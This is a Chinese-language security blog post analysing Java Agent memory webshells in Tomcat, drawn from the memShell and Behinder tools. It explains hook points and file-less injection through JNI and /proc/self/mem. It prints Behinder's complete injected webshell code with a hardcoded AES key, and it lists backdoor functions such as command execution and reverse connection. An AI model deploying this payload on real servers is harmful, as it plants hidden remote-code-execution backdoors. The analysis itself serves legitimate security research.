本文的前置知识:基础篇 - Java Agent 详解 。
Java Agent 允许开发者在 JVM 运行时通过修改类的字节码,那么它其实就相当于 JVM 层面的一个拦截器或者说增强代理(类似于 AOP),既然如此,我们就可以在一些类中插入我们想要的代码逻辑。
实现思路
注入 ApplicationFilterChain
冰蝎作者 rebeyond 师傅的内存马项目(https://github.com/rebeyond/memShell)选取 ApplicationFilterChain 的 internalDoFilter 方法作为 hook 点,在 Tomcat 的运行过程中,ApplicationFilterChain 的 internalDoFilter 方法会被反复调用以执行过滤器的 DoFilter 方法。
为什么选择 ApplicationFilterChain 的 internalDoFilter 方法呢?一是它会经常被调用,二是该方法的两个参数(ServletRequest 和 ServletResponse)可以方便的处理请求信息,输出响应信息。这满足了内存马获取 Request 的条件以及输出回显的条件。
在 Agent.java 中定义了 agentmain 方法,其中注册了自定义转换器 Transformer :
自定义类 Transformer 中重写了 transform 方法,利用 javassist 获取到了 ApplicationFilterChain 的 internalDoFilter 方法,用 insertBefore 方法将 readSource() 方法的返回值插入到获取方法的最前面:
readSource() 方法读取了一个 source.txt ,也就是说将这个文件中的内容插入了方法体:
source.txt 中定义了要插入的逻辑:
代码就不放全了,简要总结一下:
$1、$2 是 javassist 中的写法,表示方法的参数 1 和参数 2 。
获取参数:首先从 HttpServletRequest
中提取 pass_the_world
和 model
参数,其中:
pass_the_world
作为一个访问密码,用于校验请求的合法性。model
表示执行操作的类型,不同的值对应不同的功能。
验证密码:如果 pass_the_world
不为空,且等于 net.rebeyond.memshell.Agent.password
(即预设的密码),则认为验证通过,进入逻辑处理;否则,终止操作。
操作分支:根据 model
参数的值,执行对应的操作逻辑:
- 帮助信息 (
help
):如果model
为空或未指定,调用net.rebeyond.memshell.Shell.help()
方法,返回帮助信息。 - 命令执行 (
exec
):从请求参数中获取cmd
,并调用Shell.execute(cmd)
方法执行系统命令,将结果返回。 - 反向连接 (
connectback
):从请求参数中获取ip
和port
,调用Shell.connectBack(ip, port)
建立反向连接。 - 文件下载 (
urldownload
):从请求中获取url
和path
参数,调用Shell.urldownload(url, path)
下载文件到指定路径。 - 目录列表 (
list
):从请求中获取path
参数,调用Shell.list(path)
列出指定路径下的文件。 - 删除文件 (
del
):从请求中获取path
参数,调用Shell.delete(path)
删除指定路径的文件。 - 显示文件内容 (
show
):从请求中获取path
,调用Shell.showFile(path)
显示文件内容。 - 文件下载 (
download
):从请求中获取path
,将对应文件的内容作为附件响应回客户端。 - 文件上传 (
upload
):从请求中获取path
、content
和type
参数,通过Shell.upload(path, fileContent, type)
将内容上传至服务器指定路径。 - 代理 (
proxy
):调用net.rebeyond.memshell.Proxy().doProxy(request, response)
方法实现请求代理。 - chopper木马 (
chopper
):通过net.rebeyond.memshell.Evaluate().doPost(request, response)
执行远程代码。
响应输出:每个操作的结果会被写入 response
对象的输出流中返回给客户端。
可以看到这里实现了非常多不同的功能。
仿照上面的思路,我们可以插入对应的执行逻辑,实现一个较为简易的内存马。
首先是入口类 TestAgent ,其中定义了 agentmain 方法:
1 | package InjectApplicationFilterChain; |
然后是自定义转换器 TestTransform ,其中重写了 transform 方法,通过 javassist 获取 ApplicationFilterChain 的 internalDoFilter 方法,并在其中插入逻辑:
1 | package InjectApplicationFilterChain; |
利用这两个类生成 Agent jar 包,MANIFEST.MF 文件内容如下:
1 | Manifest-Version: 1.0 |
最后主类 TestMain attach 到 Tomcat 对应的 JVM 虚拟机,并加载对应的 Agent jar 包,Tomcat 运行起来后,对应的 JVM 虚拟机名称是 org.apache.catalina.startup.Bootstrap
:
1 | package InjectApplicationFilterChain; |
当然,在运行主类之前,我们要先运行一个 Tomcat 。
注入成功:
注入 HttpServlet
很多 Servlet 都会选择继承 javax.servlet.http.HttpServlet 并重写其中的 service 方法,所以注入 HttpServlet 的 service 方法会更具通用性。
那么直接来看冰蝎中的实现,位于 net.rebeyond.behinder.resource.tools.MemShell 的 agentmain 方法。在这个方法中,HashMap 类 targetClasses 存放了要注入的类、方法和参数信息,并且提到了两个类:javax.servlet.http.HttpServlet 和 jakarta.servlet.http.HttpServlet ,也就是说这两个类都会被作为注入的对象:
如果检测到目标网站用的 weblogic ,那么选择注入 weblogic.servlet.internal.ServletStubImpl 类,这是因为 weblogic 调用 servlet 的逻辑不一样:
接着就是遍历所有已加载的类(这里的 cLasses 是方法第一行用 inst.getAllLoadedClasses() 获取到的),如果找到了 targetClasses 匹配的类名,就在对应的方法中注入 shellCode :
这里并没有用到自定义转换器 ClassFileTransformer 的子类,而是直接调用 Instrumentation 的 redefineClasses 方法,将已经修改好的字节码内容直接替换进去,不需要重新加载类。
插入的内容 shellcode 是冰蝎中定义的全局变量,位于 net.rebeyond.behinder.core.Constants :
1 | public static String shellCode = "javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession session = request.getSession();\nString pathPattern=\"%s\";\nif (request.getRequestURI().matches(pathPattern))\n{\n\tjava.util.Map obj=new java.util.HashMap();\n\tobj.put(\"request\",request);\n\tobj.put(\"response\",response);\n\tobj.put(\"session\",session);\n ClassLoader loader=this.getClass().getClassLoader();\n\tif (request.getMethod().equals(\"POST\"))\n\t{\n\t\ttry\n\t\t{\n\t\t\tString k=\"e45e329feb5d925b\";\n\t\t\tsession.putValue(\"u\",k);\n\t\t\t\n\t\t\tjava.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();\n\t\t\tClass cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");\n\n\t\t\tObject c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{\"AES\"});\n\t\t\tObject keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),\"AES\"});;\n\t\t\t \n\t\t\tjava.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[]{int.class,systemLoader.loadClass(\"java.security.Key\")});\n\t\t\tinitMethod.invoke(c,new Object[]{new Integer(2),keyObj});\n\n\t\t\tjava.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[]{byte[].class});\njava.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();\nbyte[] buf = new byte[512];\nint length=request.getInputStream().read(buf);\nwhile (length>0)\n{\nbos.write(buf,0,length);\nlength=request.getInputStream().read(buf);\n}\n byte[] requestBody=bos.toByteArray();\n\t\t\tbyte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});\n\t\t\tjava.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\n\t\t\tdefineMethod.setAccessible(true);\n\t\t\tjava.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});\n\t\t\tconstructor.setAccessible(true);\n\t\t\tjava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n\t\t\tjava.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});\n\t\t\tc.newInstance().equals(obj);\n\t\t}\n\n\t\tcatch(java.lang.Exception e)\n\t\t{\n\t\t e.printStackTrace();\n\t\t}\n\t\tcatch(java.lang.Error error)\n\t\t{\n\t\terror.printStackTrace();\n\t\t}\n\t\treturn;\n\t}\t\n}\n"; |
这样的 java agent 类生成的 jar 包位于 net.rebeyond.behinder.resource.tools.tools_1.jar
使用这个 jar 包 attach JVM 的地方是在 net.rebeyond.behinder.payload.java.MemShell 的 doInjectAgent 方法中:
其中 libPath 应当是指示 jar 包所在的路径。
分析完了冰蝎中的注入逻辑,既然已经有了这么完美的代码,那我也不再重复造轮子了。
使用 javaAgent 理论上可以在任何类的任何方法注入逻辑,但是注入内存马一般选能够获取到 request 和 response 的地方,这样方便接收请求输出响应。例如 X1r0z 师傅提到的 org.apache.catalina.core.StandardWrapperValve#invoke ,或者是 su18 师傅提到的 org.springframework.web.servlet.DispatcherServlet#doService ,总之多种多样:
(粗体为推荐使用的类)
- org.apache.tomcat.websocket.server.WsFilter
- org.springframework.web.servlet.DispatcherServlet
- org.apache.catalina.core.ApplicationFilterChain
- org.apache.catalina.core.StandardContextValve
- javax.servlet.http.HttpServlet( Tomcat 10 之后,javax 变成 jarkara;Weblogic 环境下是 weblogic )
注入方法
由于作者水平有限,所以注入方法也只能粗略的谈谈。
Agent 技术依赖于 jar 包,所以想要注入 Agent 内存马,一定要有一个 jar 包落地,所以在过去的利用方式中常常需要上传 jar 包:
- 2018 年,《利用“进程注入”实现无文件复活 WebShell》一文首次提出 memShell(内存马)概念,利用 Java Agent 技术向 JVM 内存中植入 webshell ,并在 github 上发布 memShell 项目。项目中对内存马的植入过程比较繁琐,需要三个步骤:
- 上传 inject.jar 到服务器用来枚举 jvm 并进行植入;
- 上传 agent.jar 到服务器用来承载 webshell 功能;
- 执行系统命令 java -jar inject.jar 。
- 2020 年,Behinder(冰蝎) v3.0 版本更新中内置了 Java 内存马注入功能,此次更新利用 self attach 技术,将植入过程由上文中的 3 个步骤减少为 2 个步骤:
- 上传 agent.jar 到服务器用来承载 webshell 功能;
- 冰蝎服务端调用 Java API 将 agent.jar 植入自身进程完成注入。
而后,为了解决需要文件落地的问题,rebeyond 和游望之师傅提出了更好的方案。为了方便理解接下来的内容,这里转载 cincly 师傅对于 JVM 类加载流程的总结。
JVM 类加载流程
关于类的加载流程,可以从三个方面去入手:
- 正常的类加载流程
- 被
redefineClasses
后的类的加载流程 - 被
retransformClasses
后的类的加载流程
这一块的代码详细分析起来比较占用篇幅,这里主要阐述一下相关逻辑,以及关键步骤代码。有兴趣的可以自己跟着分析一下代码。
下面是 cincly 师傅整理的 java 类的加载流程图,可结合图下面的文字阐述进行理解:
- java 类在内存中是以 InstanceKlass 的形式存在的,这个
InstanceKlass
中便包含了类中所定义的变量、方法等信息。需要注意的是,当我们使用 java agent 技术时,虽然我们可以在ClassFileTransformer.transform
中能拿到指定类的字节码,但内存中默认情况下其实是不会保存 java 类的原始字节码的。 - 正常的 java 类加载时,会从指定位置(一般也就是本地的 jar 包中)获取到类字节码,然后会经过 JvmtiClassFileLoadHookPoster 的转换后,得到最终的字节码。然后编译为对应的
InstanceKlass
,当然在编译时会进行相应的优化,不过与本主题无关,这里不进行赘述。- 而这个
JvmtiClassFileLoadHookPoster
中维护着一个 JvmtiEnv 链 ,我们所用到的java agent
技术中,当 agent 加载时,其实就是在这个JvmtiEnv
链上添加一个JvmtiEnv
节点,从而修改类的字节码,如 post_all_envs() 中所示。 JvmtiEnv
实例中有个关键的变量:_env_local_storage
,这个变量所对应的类型是_JPLISEnvironment
,从中我们可以看到与之关联的JPLISAgent
。而这个JPLISAgent
就是InstrumentationImpl
构造方法中的mNativeAgent
。从这个_JPLISAgent
中我们也可找到对应的 instrumentation 实例,以及其要执行的方法: mTransform,也就是InstrumentationImpl
类中的 transform 方法。- 对于
JvmtiEnv
节点来说,具体的转换流程便是通过 callback 而实现的,具体的callback
方法便是eventHandlerClassFileLoadHook,从中我们可以看到这个回调函数便是在 transformClassFile 方法中调用的InstrumentationImpl
对象的transform
方法,这样便回到了我们熟知的java
代码中。
- 而这个
redefineClasses
,顾名思义,重定义一个类,与普通的类加载流程相比,这里主要就是将类的来源更换为指定的字节码。具体的类加载流程并无太大差别。- 当 java 类要被
retransformClasses
转换时,会根据InstanceKlass
重新生成一份对应的类字节码,并存入缓存中InstanceKlass._cached_class_file
,下次再被retransformClasses
时将直接使用缓存中的类字节码。- 与正常的类加载流程相比,被
retransformClasses
所重新加载的类,不会再经过no retransformable jvmti
链的处理。
- 与正常的类加载流程相比,被
- java agent 在被加载时(onLoad / onAttach),jvm 将创建一个
jvmtiEnv
实例,对应了上图中的no retransformable jvmti
链。- 当第一次添加
retransformer
(也就是在addTransformer
时指定canRetransform
为true
)时,会通过 setHasRetransformableTransformers 方法在 jvmti 链上追加一个新的节点,也就是上图中的retransformable jvmti 链
。 - 关于图中的
no retransformable jvmti
链 与retransformable jvmti
链,其实都是在一条链表上,只不过在使用时根据env->is_retransformable()
而分为两批使用。在类加载或是被重定义时,对我们在java agent
中添加的transformer
来说,普通的transformer
永远在canRetransform
为 true 的transformer
之前执行。
- 当第一次添加
无 agent 文件注入
其实 agent 的 jar 包与 loadagent 加载最后都是为了产生 Instrumentation 对象,我们需要的是这个对象的 redefineClasses 方法或者 retransformClasses 方法来重新加载字节码,而这个重新加载的过程只需要提供字节码。那么有没有一种办法脱离 agent jar 包直接获取 Instrumentation 对象呢?游望之在 Linux 下内存马进阶植入技术一文中提出这个方法。
获取 Instrumentation 对象
java.lang.instrument.Instrumentation 接口的实现类 java.sun.instrument.InstrumentationImpl 有一个指针 nativeAgent ,它是一个 native 指针(native 是一个函数,一个 Native Method 就是一个 Java 调用非 Java 代码的接口。 方法的实现由非 Java 语言实现,比如 C 或 C++ 。):
获取 nativeAgent 指针
接下来要想办法获得这个 nativeAgent 指针,为更底层的调用操作做铺垫。如何获得 nativeAgent 指针呢?先追踪 mNativeAgent 参数。mNativeAgent 被传入 redefineClasses0 方法:
redefineClasses0 方法在 Java 层的定义如下:
native 层在 idea 中没法跟进了,直接复制代码看吧。
redefineClasses0 方法的实现是这样的:
1 | /* |
Java_sun_instrument_InstrumentationImpl_redefineClasses0 是 redefineClasses0 的 JNI 实现,其中有四个参数:
JNIEnv *jnienv
:JNI 环境指针,用于与 JVM 交互。jobject implThis
:Java 对象的引用。jlong agent
:JVMTI 代理的指针,转换为JPLISAgent
类型。它对应 long nativeAgent 参数。jobjectArray classDefinitions
:表示类定义的数组(ClassDefinition
对象数组)。它对应 ClassDefinition[] definitions 参数。
redefineClasses0 方法接下来调用 redefineClasses 方法,agent 参数被强转为 JPLISAgent 类型。JPLISAgent 结构体定义如下:
1 | struct _JPLISAgent { |
redefineClasses 的第一行代码是 jvmtiEnv* jvmtienv = jvmti(agent)
, 这个 jvmti 是个宏,宏定义的意思是从 _JPLISAgent 结构体中提取成员变量 mNormalEnvironment ,再从 mNormalEnvironment 中提取 mJVMTIEnv:
1 | #define jvmti(a) a->mNormalEnvironment.mJVMTIEnv |
jvmtiEnv 提供了RedefineClasses 函数,Java Instrumentation API 的同样功能就是封装于此之上。既然如此,后面起作用的就是这个 jvmtiEnv 指针了。
jvmtiEnv 指针的获取方式如宏定义中所展示的那样,是从 _JPLISAgent 结构体中取成员属性 mNormalEnvironment ,这个 mNormalEnvironment 又是 JPLISEnvironment 类型,然后从 mNormalEnvironment 中取 mJVMTIEnv 属性。于是我们希望能够知道这个 mJVMTIEnv 属性是怎样被赋值的,也即整个 _JPLISAgent 结构体变量是如何被创建的,这样才能去尝试修改。
获取 jvmtiEnv 指针
目标是修改 jvmtiEnv 指针,但是从创建 _JPLISAgent 结构体变量的方式入手不太可行,游望之师傅提到 JPLISAgent 实例是通过 native 函数 createNewJPLISAgent 创建的,但该函数是内部函数,没有从动态库中导出,Java 层也没办法直接调用。
所以思路回到获取 jvmtiEnv 指针本身。在 createNewJPLISAgent 函数中有这样一段代码:
1 | *agent_ptr = NULL; |
其中 vm 是 JavaVM 指针,这指示了 jvmtiEnv 指针可以通过 JavaVM 对象获取。而在 JDK 的 jni.h 中,有定义 JavaVM 对象的导出方法( jni.h 是 JNI(Java Native Interface)库的头文件):
1 | _JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *); |
该方法由 libjvm.so 导出,我们可以通过此 API 获得 JavaVM 对象,通过 JavaVM 对象就能获得 jvmtiEnv 指针。
rebeyond 师傅解释:JNI_GetCreatedJavaVMs 函数是 JVM 提供给 Java Native 开发人员用来在 Native 层获取 VM 对象的,因为是开放给开发者使用的,所以该函数是导出的。我们可以直接调用这个函数来获取 JavaVM 对象。而该函数的规矩用法是先开发一个 Java 的 dll 动态链接库,然后在 Java 代码中加载这个 dll 库,然后再调用 dll 中的方法。
但是这样会造成有文件落地,为了无文件的调用 JNI_GetCreatedJavaVMs 函数,rebeyond 师傅提出了在 Windows 系统中通过获取 JNI_GetCreatedJavaVMs 地址的方法来调用它,大致流程如下:
- 先获取到当前进程 kernel32.dll 的基址;
- 在 kernel32.dll 的输出表中,获取 GetProcessAddress 函数的地址;
- 调用 GetProcessAddress 获取 LoadLibraryA 函数的地址;
- 调用 LoadLibraryA 加载 jvm.dll 获取 jvm.dll 模块在当前进程中的基址;
- 调用 GerProcAddress 在 jvm.dll 中获取 JNI_GetCreatedJavaVMs 的地址;
- 调用 JNI_GetCreatedJavaVMs ;
- 还原现场,安全退出线程,优雅地离开,避免 shellcode 执行完后进程崩溃。
而在 Linux 环境下,游望之师傅也提出了获取 JNI_GetCreatedJavaVMs 地址并调用的方式:
- 解析 ELF ,得到 Java_java_io_RandomAccessFile_length 和 JNI_GetCreatedJavaVMs
- 生成利用 JNI_GetCreatedJavaVMs 获取 jvmtienv 指针的 shellcode
- 在 Java_java_io_RandomAccessFile_length 放置 shellcode 并调用
- 恢复 Java_java_io_RandomAccessFile_length 代码
后续的话就可以利用获取到的 jvmtienv 指针来构造 _JPLISAgent 结构体变量了。
总结就是利用 Linux 中的 /proc/self/mem 修改内存,将 Java 原生的 native 函数(比如 Java_java_io_RandomAccessFile_length)的地址指向的内容替换为 shellcode ,这样就可以执行 shellcode 了。执行完后再把原来的内容放回去,好一招偷天换日。不过既然可以修改内存了那其实就可以执行任意代码了。
通过这样的方式就实现了只需要通过执行代码就能注入 Agent 内存马,而不需要文件落地。我对内存和汇编还不太熟,所以后面没有具体去分析了。
JNI 介绍
JNI(Java Native Interface)Java 本地接口,又叫 Java 原生接口。它允许 Java 调用 C/C++ 的代码,同时也允许在 C/C++ 中调用 Java 的代码。
这里涉及到了 JNI 这个知识点,有空的话出一篇它的使用方法。
总结
越是深入底层,能干的事情就越多。